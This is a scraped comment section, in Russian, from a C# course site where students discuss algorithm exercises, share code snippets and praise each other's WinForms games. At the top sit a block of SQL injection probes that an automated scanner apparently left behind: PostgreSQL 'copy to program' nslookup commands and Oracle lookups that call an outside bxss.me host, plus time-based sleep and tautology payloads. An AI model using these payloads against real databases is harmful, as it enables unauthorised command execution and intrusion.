Си шарп с нуля

918'

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-20242.11120.2330d.\1.bxss.me

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-20241.11120.2330d.\1.bxss.me'

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-20240.11120.2330d.1.bxss'||'.me')||'

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-20237.11120.2330d.1.bxss'||'.me')

ZbRLzcBx'));select pg_sleep(25.626); --

IisJ8Tbc');select pg_sleep(25.626); --

tPoiIfYt';select pg_sleep(25.626); --

-1));select pg_sleep(38.439); --

-1);select pg_sleep(38.439); --

-1;select pg_sleep(38.439); --

6q0oFLgj'; waitfor delay '0:0:38.439' --

1 waitfor delay '0:0:38.439' --

-1); waitfor delay '0:0:38.439' --

-1); waitfor delay '0:0:12.813' --

(select(0)from(select(sleep(25.626)))v)/*'+(select(0)from(select(sleep(25.626)))v)+'"+(select(0)from(select(sleep(25.626)))v)+"*/

-1; waitfor delay '0:0:38.439' --

@@7EALb

if(now()=sysdate(),sleep(25.626),0)/*'XOR(if(now()=sysdate(),sleep(25.626),0))OR'"XOR(if(now()=sysdate(),sleep(25.626),0))OR"*/

if(now()=sysdate(),sleep(12.813),0)/*'XOR(if(now()=sysdate(),sleep(12.813),0))OR'"XOR(if(now()=sysdate(),sleep(12.813),0))OR"*/

1

-1' OR 2+48-48-1=0+0+0+1 or 'PGPpSrs7'='

-1' OR 2+853-853-1=0+0+0+1 --

-1 OR 2+527-527-1=0+0+0+1

-1 OR 2+146-146-1=0+0+0+1 --

Просто в тесте 0 2 0 хитрость имеется, тоже попался, но увидел фишку и теперь 100%

Браво! Отличная идея!

Попробуй поменять тип ulong(ulong sum)на double(double sum).
Вот это решение проходит все тесты на 100%:
string[] s = Console.ReadLine().Split();
            int x, N;
            int.TryParse(s[0], out x);
            int.TryParse(s[1], out N);
            double sum = 0;
            int i=1;
            while(Math.Pow(x,i)<N)
            {
                sum += Math.Pow(x, i);
                i++;
            }
            Console.WriteLine(sum);

(ax^2 + bx + c)*(ax^2 + bx + c) = a*a*x^4 + a*b*x^3 + a*c*x^2 + a*b*x^3 + b*b*x^2 + b*c*x + a*c*x^2 + b*c*x + c^2=
a*a* x^4 +
2*a*b* x^3 +
2*a*c+b*b* x^2 +
2*b*c* x +
c*c
Степень многочлена - 2, количество коэффициентов результирующего многочлена 2*2+1 = 5. Так что ничего обрезать не надо.
Надо создать массив результирующих коэффициентов размером 2*N+1 и сделать вложенный цикл (проверить произведение каждого с каждым
коэффициентом). Полученное произведение добавить в результирующий массив к коэффициенту соответствующей степени при x.

В этом то и проблема, что исписал не мало страниц ))) И с 2 и с 3 и 5 аргументами. Вопрос в том, в каком виде вывод результата, ведь при 2 аргументах будет a^2+2ab+b^2, но уже при 3 - a^2+2ab + 2ac+b^2+2bc+c^2 или же a^2+b^2+c^2+2ab+2ac+2bc, т.е. вариантов записи ответа несколько, и при том в условиях еще приходится обрезать его до 2*N+1. По идее, код, который я состряпал, считает, правильно... но только 2 теста проходит, я и не понимаю где проблема.

Edgard, решение у задачи действительно красивое. Я предлагала Евгению вынести эту задачу на прошлую олимпиаду, но от этой затеи отказались, потому что у некоторых эта задача уже решена. Сама 2 дня голову ломала :)
Предлагаю Вам расписать на бумажке, как будет выглядеть результат в случае 3-х, 4-х слагаемых и найти зависимость.
Если будут трудности, я в ближайшее время запишу видеорешение.

И еще одно, не совсем понятное : Вывод результата: строка, в которой 2·N+1 чисел выведены через пробел. Т.е. обрубить ответ? Потому что (a+b+c+d)^2 = a^2+b^2+c^2+d^2+2ab+2ac+2ad+2bc+2bd+2cd , т.е. 10 а не 2*3+1=7. Короче запутался конкретно ))

Добрый день! Обратите пожалуйста на мое сообщение Простые массивы / Квадрат многочлена в разделе Алгоритмика. Потому что остановился на данном этапе ))

Я уже себе сломал мозг. Все ясно когда два многочлена a и b. Вид результата будет a^2  2ab  b^2. НО что делать когда их 3, 4, ... n ? Какой вид должен принять результат?  a^2  2ab  2ac  b^2  2bc  c^2 или a^2  b^2  c^2 ... n^2  2ab  2bc .... 2n-1n ?????

Спасибо, Edgard!
Не заметила ошибки. Сейчас скорректировала условие.

Я так предполагаю, что или в условии ошибка, или в ответах. Четные индексы - это [0,2,4...]. т.е. %2 ==0. Правильно?

Просмотрел выполнение данного задания участниками, многие сжульничали. Я так понимаю все стремятся вложиться в минимум строк? А как же условие: Заполнить массив единицами??

Одно замечание. Я так понял, что мы создаем дополнительные функции по поиску мин и мах, для того что бы в теле метода Main() единственное что было, это принять последовательность цифр и вывести с помощью наших методов результат. Зачем тогда  создавать методы, если огромный кусок кода мы еще дописываем в Main() ??

не могу понять, почему не 100% ??
for (ulong i = 1; i<=N; i++)
        {
            if(N%i==0)
                res += i;
        }

Все это хорошо, но ... x в промежутке [-1,2; 1,2], а требует [-2; 2] !!!!

Не могу понять в чем прикол? Почему не выполняется на 100%?
string[] str = (Console.ReadLine()).Split();
        for (int i = 0; i<str.Length; i++)
        {
            if(long.Parse(str[i])<0) Console.WriteLine(str[i]);
        }

Не понимаю, почему не 100%? Все тесты проходит, кроме 0 2 0 , хотя правильно сортирует 0 0 2.

Почему то не проходит 3 тест, хотя в VisualStudio получается тот же самый ответ:
string[] str = (Console.ReadLine()).Split();
            ulong x = ulong.Parse(str[0]);
            ulong N = ulong.Parse(str[1]);
            int i = 1;
            ulong sum = 0;
            while ((ulong)Math.Pow(x, i) <= N)
            {
                sum += (ulong)Math.Pow(x, i);
                i++;
            }
            Console.WriteLine(sum);

Сори, после того, как написал еще раз Вам сообщение, заметил, что условие изменено )) Спасибо за оперативную помощь ))

Елена, добрый день! Я вижу Вы единственная, кто решил консольную задачу по Алгоритмике - Сумма ряда. И я так предполагаю, это потому что , остальные участники, как и я не поняли условия задания. Вот и сижу на данном задании и не понимаю что от меня хотят ))) Было бы не плохо, что бы Вы протянули руку помощи в данном примере )))

Не могу понять, почему не принимает данный ответ:
string stroka = Console.ReadLine();
        string past = Console.ReadLine();
        past += " ";
       
        Console.WriteLine(stroka.Insert(6,past));
Хотя прошел по всем входящим данным и результат был идентичный.

Елена, добрый день! Я вижу Вы единственная, кто решил консольную задачу по Алгоритмике - Сумма ряда. И я так предполагаю, это потому что , остальные участники, как и я не поняли условия задания. Вот и сижу на данном задании и не понимаю что от меня хотят ))) Было бы не плохо, что бы Вы протянули руку помощи в данном примере )))

Не понятно условие задания.

По-моему, это повторное задание предыдущего.

Во - первых, в видео к данному заданию, Вы используете запрещенный цикл. Во-вторых я использовал первый вариант и он отображал правильно квадраты, но почему то не правильно:
int num = int.Parse(Console.ReadLine());
        string s = "";
        string s2 = "";
        for(int i = 0; i < num; i++)
            {
                s += " _";
                s2 +="|_";
            }
        Console.WriteLine(s + "\n"+s2 + "|");
А вот следующий вариант принял:
int num = int.Parse(Console.ReadLine());
        string s = "";
        string s2 = "";
        Console.Write(" ");
        for(int i = 0; i < num; i++)
            {
                s += "_ ";
                s2 +="|_";
            }
        Console.WriteLine(s + "\n"+s2 + "|");

Готово!
Верное решение :)

Спасибо, жду )) Думал, пока Вы будете на отдыхе, сделать и себе отдых от переводов Ваших видео, и заняться прокачкой серого вещества )))

Ща будет.

Евгений Витольдович, я проплатил двумя платежами Алгоритмику (1000 и 500 руб в евро), а курс не открывается почему то

Красиво выглядит! Как настоящая игра от компании, круто!!

Microsoft Visio 2007. Всегда пользуюсь этой программой для рисования блок-схем (которые рисовать довольно часто приходится).

А с помощью какого приложения рисовалась схема?

Просто задание было выполнено в ходе предыдущих уроков - при реализации виселки и в видеоотчете. Поэтому так получилось :)

Если еще проще, то в тело Try {} заключается код, который может вызвать ошибку, а в catch() {} то что следует выполнить в результате ошибки ))

Я сомневаюсь, что задание было выполнено за 2 мин )))) Только графическая часть заняла бы час у меня ))) Более подробной схемы еще не видел

Я не понимаю данную критику. Во-первых, Андрей, если ты находишься в разделе создания игр, то кто тебе мешает вначале пройти теоретические курсы, где детально и опишут делегаты и все что с ними связано. Если не охота время терять, то можно быстро прочитать на msdn. Я сомневаюсь, что если бы за цель стояло все разжевать без ошибок, то Евгению Витольдовичу не составило бы труда заранее накидать текст, но .... Лучше когда вместе с преподавателем, ученик натыкается на ошибки и вместе ее исправляют, только тогда приходит понимание. И я в своей жизни очень мало видел людей, которые умеют признавать собственные ошибки и недочеты. Мудр не тот кто многое прочитал и пытается этот мусор вложить в другого, а тот кто все это испробовал и ведет по данному пути тех, кто желает идти по нему )) Если бы ты обратил внимание на то, что какой то урок был нерабочий (игра не запускалась и т.п.), был бы другой разговор. Спасибо за понимание!

sender - это объект, который вызвал событие, его мы приводим к типу (Panel) из него извлекаем Tag и методом ToString() переводим в текстовое представление

Не стесняйся спрашивать больше. Только так мы учимся. Самые упоротые, типа меня, лазят по форумам в поисках ответов, вместо того что бы просто спросить знающих ))

Дякую, тепер все прояснилося))

DateTime.Now.Ticks - возвращает число тактов, которое представляет дату и время этого экземпляра. Т.е. Мы при первом клике записываем время в time_start. потом при окончании еще раз так же записываем время только в другую переменную time_stop. И если от первого отнять второе, получится время клика ))

Спасибо за высокую оценку )) В фотошопе и правда большую часть просидел ))

ДА, это не пара бессонных ночей, такую красоту и за неделю не сделать. Тут только в фотошопе дня 3 сидеть. Очень понравилась игра

Кстати, все реализовал в одной форме.

Полностью на WinForms реализовал. Наложил ТекстБоксы друг на друга и в определенные моменты одни скрывал, другие отображал )) Бывало сам запутывался и долго распутывал этот клубок ))

Да, игра - просто класс! Такая красочная! Неужели - это просто на WinForms-ах сделал?:)

Ну большими мы будем, когда здесь выучимся, потом вместе соберемся и напишем свой Windows ))

Эдгард, мне очень нравятся твои работы, а эта Вау! Мы не мелкие, а многие уже, в том числе и ты уже большие, посмотри на работы это ж класс!!! :)

Спасибо за высокую оценку. Молодец не я, а ты, что в такое время еще не спишь и поддерживаешь мелких программистов ))

Ух ты, слов нету, это КРУТО!!! Молодец :)

Я очень рад что Вам понравилось ) Буду стараться дальше.

С удовольствием поиграл, ты молодец!
Только тыкаю по кнопкам на угад, и долго не мог догадаться, что на вопрос нужно нажимать клавишу на клавиатуре :) всё мышкой, а тут на клаве.
Игра - просто прелесть!

Спасибо за добрые слова!

Ты еще не видел как их называю я )))

Классный UI, выглядит шикарно!

Немного поиграл в свое произведение искусства, в молодость вернуло )))

Молодец, Эдгард, прелестно1

Пока только мой тест прошла ))) Спасибо за положительный отзыв.

Красота получилось, игра тест прошла? Дочь довольна? Лично мне очень нравится как у тебя вышло! :)

Спасибо за добрые слова ))

Понравилась твоя программа поймай вора! Очень круто сделал!

Ну по первому вопросу, здесь конечно нужно разграничивать, если это простенькая бесплатная программка, то конечно максимум 2 урока на нее потратить. А платные делать длинными и сложными. Включая многопользовательский и сетевой интерфейс. И очень интересно писать и игры и программные продукты типа Управлением отеля.
По второму вопросу очень сложно дать ответ, так как научиться программировать просто хочется, не конкретно для создания конкретной игры или программы, а уже в процессе обучения так захватывает, что в мозгу рождаются многочисленные идеи. Хочется и то и то )) И скорее хочется не для пользования моего, а именно для понимания как это делается. А для этого лучше подходят сложные составные программы.
Ну как то такой ответ ))) Вокруг да около ))

Эдгард, сплошные положительные эмоции!
ГАРМОНИЯ. Как в программах, так и в презентации.
Суперский обзор, ты молодец! А ещё мне понравилось, как ты мой логотип стилизировал.
Делай доступным видео для всех :)

Ну Вы выдали ссылку на видео в криншоте )))) Нужно было в комментариях поместить

Спасибо за поддержку )

Замечательно, даже больше чем замечательно, слов даже не нахожу! Молодец!

Спасибо за высокую оценку.  Пытаюсь каждую работу, которую здесь прохожу, довести до логического конца )) У меня дочь в качестве судьи )) Было заказала мне Пиксельный Paint сделать. Крутил, мутил, но получилось, она результатом довольна ))

Здорово сделано!

Круто! Это потрясающая работа!!! Молодец! :)

.... У меня нет слов!

Хорошо что прокачал навыки полученные ранее, лично по моему восприятию лучше сделать три небольших урока с подведением результатов, чем один часовой, хотя понимаю у всех восприятие разное, однако для изучения и запоминания лучше чтобы подача информации длилась минут 20-25, это уже доказано ученными и протестировано в учебных заведения:)

Это классный вариант - только хотела свой предложить именно двуязычный... но вовремя посмотрела... а рамку можно и сменить :)

Какая красота получилась, мне нравиться твоя программа! Жаль, что тебе не очень понравился урок, надеюсь следующие будут тебе более интересными и полезными)

Ну раз нельзя , уберем )  Была бы возможность больше скриншотов добавлять, смог добавить разные вариации (с логотипами, без, другой цвет и т.п.)